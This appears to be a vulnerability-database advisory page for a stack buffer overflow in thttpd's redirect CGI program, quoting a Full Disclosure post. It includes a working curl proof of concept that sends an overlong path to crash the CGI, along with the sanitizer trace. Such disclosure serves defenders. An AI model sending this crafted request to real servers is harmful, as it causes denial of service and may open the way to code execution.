GCVE-1988-2026-0004
Vulnerability from gna-1988 β Published: 2026-09-07 06:42 β Updated: 2026-09-07 06:42
VLAI
EPSS
VEX
Title
thttpd v2.26 Stack-Based Buffer Overflow in thttpd redirect CGI Program
Summary
*Description:*
A stack-based buffer overflow vulnerability exists in the redirect CGI
program distributed with thttpd. The vulnerability is caused by unsafe
string concatenation when constructing redirect URLs using
attacker-controlled CGI environment variables. A remote, unauthenticated
attacker can trigger the vulnerability via a crafted HTTP request,
resulting in a crash of the CGI process and denial of service. In
environments lacking modern exploit mitigations, this condition may be
exploitable for arbitrary code execution.
The redirect CGI program processes HTTP requests by reading CGI environment
variables such as SCRIPT_NAME and PATH_INFO. When a wildcard redirect rule
(*) is present in the .redirects file, the program appends user-controlled
path data to a fixed-size stack buffer using strcat() without enforcing
bounds checks. Specifically, when a redirect rule contains a wildcard
match, the following logic is executed:
strcat(url, script_name + (star - file)); Both script_name and the appended
data originate from HTTP request paths controlled by the client. No
validation is performed to ensure the combined string length fits within
the allocated stack buffer (char url[5000]), resulting in a stack-based
buffer overflow.
*Affected Component:*
- Project: thttpd
- Component: cgi-src/redirect.c
- Program Type: CGI executable
- Affected Function: main()
- Vulnerable Operation: strcat() on fixed-size stack buffer
- Vulnerable Buffer: char url[5000]
*Attack Vector*
- Remote
- Unauthenticated
- No user interaction required
*Proof of Concept (Remote):*
*Attacker:*
curl "http://127.0.0.1:8080/cgi-bin/redirect$(printf '/A%.0s' {1..1000})"
----
curl: (52) Empty reply from server
This indicates the CGI process terminated unexpectedly during request
handling.
*Server:*
busybox httpd -f -p 8080 -h /var/www
*Output:*
=================================================================
==173922==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbff8c503cd8 at pc 0xffff8ee025f0 bp 0xffffe5394370 sp 0xffffe5393b50
WRITE of size 70 at 0xfbff8c503cd8 thread T0
#0 0xffff8ee025ec in strcat
../../../../src/libsanitizer/asan/asan_interceptors.cpp:520
#1 0xaaaae2ce2478 in main /root/thttpd/cgi-src/redirect.c:195
#2 0xffff8e4c2598 in __libc_start_call_main ../sysdeps/nptl
/libc_start_call_main.h:58
#3 0xffff8e4c2678 in __libc_start_main_impl ../csu/libc-start.c:360
#4 0xaaaae2ce1cac in _start (/root/thttpd/cgi-src/redirect+0x1cac)
(BuildId: dc697d7fab1c2439351593ff9fdb0104c36471ba)
Address 0xfbff8c503cd8 is located in stack of thread T0 at offset 15576 in
frame
#0 0xaaaae2ce1e80 in main /root/thttpd/cgi-src/redirect.c:127
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure β’ Proof-of-Concept Development
π https://github.com/ob1sec
π https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "thttpd",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the redirect CGI\nprogram distributed with thttpd. The vulnerability is caused by unsafe\nstring concatenation when constructing redirect URLs using\nattacker-controlled CGI environment variables. A remote, unauthenticated\nattacker can trigger the vulnerability via a crafted HTTP request,\nresulting in a crash of the CGI process and denial of service. In\nenvironments lacking modern exploit mitigations, this condition may be\nexploitable for arbitrary code execution.\n\nThe redirect CGI program processes HTTP requests by reading CGI environment\nvariables such as SCRIPT_NAME and PATH_INFO. When a wildcard redirect rule\n(*) is present in the .redirects file, the program appends user-controlled\npath data to a fixed-size stack buffer using strcat() without enforcing\nbounds checks. Specifically, when a redirect rule contains a wildcard\nmatch, the following logic is executed:\nstrcat(url, script_name + (star - file)); Both script_name and the appended\ndata originate from HTTP request paths controlled by the client. No\nvalidation is performed to ensure the combined string length fits within\nthe allocated stack buffer (char url[5000]), resulting in a stack-based\nbuffer overflow.\n\n*Affected Component:*\n\n - Project: thttpd\n - Component: cgi-src/redirect.c\n - Program Type: CGI executable\n - Affected Function: main()\n - Vulnerable Operation: strcat() on fixed-size stack buffer\n - Vulnerable Buffer: char url[5000]\n\n\n*Attack Vector*\n\n - Remote\n - Unauthenticated\n - No user interaction required\n\n\n*Proof of Concept (Remote):*\n\n*Attacker:*\ncurl \"http://127.0.0.1:8080/cgi-bin/redirect$(printf \u0027/A%.0s\u0027 {1..1000})\"\n----\ncurl: (52) Empty reply from server\nThis indicates the CGI process terminated unexpectedly during request\nhandling.\n\n*Server:*\nbusybox httpd -f -p 8080 -h /var/www\n\n*Output:*\n=================================================================\n==173922==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8c503cd8 at pc 0xffff8ee025f0 bp 0xffffe5394370 sp 0xffffe5393b50\nWRITE of size 70 at 0xfbff8c503cd8 thread T0\n #0 0xffff8ee025ec in strcat\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:520\n #1 0xaaaae2ce2478 in main /root/thttpd/cgi-src/redirect.c:195\n #2 0xffff8e4c2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n #3 0xffff8e4c2678 in __libc_start_main_impl ../csu/libc-start.c:360\n #4 0xaaaae2ce1cac in _start (/root/thttpd/cgi-src/redirect+0x1cac)\n(BuildId: dc697d7fab1c2439351593ff9fdb0104c36471ba)\n\nAddress 0xfbff8c503cd8 is located in stack of thread T0 at offset 15576 in\nframe\n #0 0xaaaae2ce1e80 in main /root/thttpd/cgi-src/redirect.c:127\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T06:42:13Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/16"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/16"
},
{
"url": "http://127.0.0.1:8080/cgi-bin/redirect$"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/16"
],
"discovery": "EXTERNAL"
},
"title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd redirect CGI Program",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0004",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/16",
"automated": true,
"contentSha256": "6b6160b5b9a50ced05080c778c3f18cf8688b61192d106562150e665b5297179",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/16",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:49:03Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-07T06:42:13Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0004"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loadingβ¦
Loadingβ¦